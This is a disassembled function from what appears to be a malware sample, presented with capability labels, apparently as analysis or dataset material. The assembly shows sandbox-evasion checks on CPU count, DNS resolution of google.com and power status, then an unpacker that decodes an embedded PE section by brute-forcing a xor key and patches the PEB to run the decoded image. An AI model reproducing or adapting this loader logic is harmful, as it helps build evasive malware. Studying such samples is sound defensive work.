Function at 0x1300131e
Capabilities:
Access peb ldr_data
Encode data using xor
Get system information on windows
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1d8
mov eax, dword [0x1300b060]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push eax
mov eax, dword fs:[0x30]
mov dword [ebp - 0x1ac], eax
pop eax
lea eax, [ebp - 0x1d8]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x1ac]
mov eax, dword [eax + 0x64]
cmp eax, dword [ebp - 0x1c4]
jne 0x13001585
push str.ws2_32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.gethostbyname
push edi
call esi
push str.WSAStartup
push edi
mov ebx, eax
call esi
lea ecx, [ebp - 0x1a0]
push ecx
push 0x202
call eax
mov esi, str.google.com
push esi
call ebx
xor ebx, ebx
cmp eax, ebx
je 0x13001585
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
push esi
push eax
call fcn.130015a0
pop ecx
pop ecx
cmp eax, ebx
je 0x13001585
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemPowerStatus]
cmp eax, 1
jne 0x13001585
cmp byte [ebp - 0xd], bl
jne 0x13001585
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x130013f3
xor eax, eax
jmp 0x13001588
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x130013ec
mov edx, 0x10b
cmp word [ecx + 0x18], dx
jne 0x130013ec
cmp word [ecx + 6], bx
je 0x130013ec
movzx edx, word [ecx + 6]
movzx esi, word [ecx + 0x14]
imul edx, edx, 0x28
add edx, ecx
lea esi, [esi + edx - 0x10]
mov edi, dword [esi + 0xc]
push dword [esi + 0x10]
add edi, eax
call fcn.13001ec8
push dword [esi + 0x10]
mov dword [ebp - 0x1b4], eax
push edi
push eax
call fcn.13001a70
add esp, 0x10
xor edi, edi
mov dword [ebp - 0x1a4], ebx
cmp dword [esi + 0x10], ebx
jbe 0x130014af
mov ecx, dword [ebp - 0x1b4]
mov dl, byte [ecx + 4]
xor eax, eax
jmp 0x13001462
mov dl, byte [ebp - 0x1a5]
mov ebx, dword [ebp - 0x1a4]
add ebx, eax
cmp ebx, dword [esi + 0x10]
jae 0x1300149a
test dl, dl
jns 0x13001477
or byte [ecx + eax], 0x40
add dl, dl
jns 0x1300147f
or byte [ecx + eax], 4
mov ebx, dword [ebp - 0x1b4]
add dl, dl
mov byte [ebp - 0x1a5], dl
mov dl, byte [ecx + eax]
mov byte [edi + ebx], dl
inc edi
inc eax
cmp eax, 4
jb 0x1300145c
add dword [ebp - 0x1a4], 5
mov eax, dword [ebp - 0x1a4]
add ecx, 5
cmp eax, dword [esi + 0x10]
jb 0x13001455
and dword [ebp - 0x1b0], 0
mov dword [ebp - 0x1a4], 1
push dword [esi + 0x10]
call fcn.13001ec8
push dword [esi + 0x10]
mov edi, eax
push dword [ebp - 0x1b4]
push edi
call fcn.13001a70
xor eax, eax
add esp, 0x10
cmp dword [esi + 0x10], eax
jbe 0x130014f2
mov cl, byte [ebp - 0x1a4]
xor byte [eax + edi], cl
inc eax
cmp eax, dword [esi + 0x10]
jb 0x130014e3
lea eax, [ebp - 0x1b0]
push eax
push edi
call section..text
mov ebx, eax
pop ecx
pop ecx
test ebx, ebx
je 0x13001510
cmp dword [ebp - 0x1b0], 0
jne 0x1300152b
push edi
call fcn.13001e6e
inc dword [ebp - 0x1a4]
cmp dword [ebp - 0x1a4], 0x1f4
pop ecx
jb 0x130014c0
jmp 0x1300153e
push dword [ebp - 0x1b4]
call fcn.13001e6e
push edi
call fcn.13001e6e
pop ecx
pop ecx
test ebx, ebx
je 0x130013ec
push eax
mov eax, dword fs:[0x30]
mov dword [ebp - 0x1a4], eax
pop eax
mov eax, dword [ebp - 0x1a4]
mov dword [eax + 8], ebx
mov eax, dword [ebp - 0x1a4]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov dword [eax + 0x18], ebx
mov eax, dword [ebp - 0x1b0]
add eax, ebx
mov dword [ebp - 0x1b0], eax
call dword [ebp - 0x1b0]
jmp 0x130013ec
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.13001a0a
leave
ret 0x10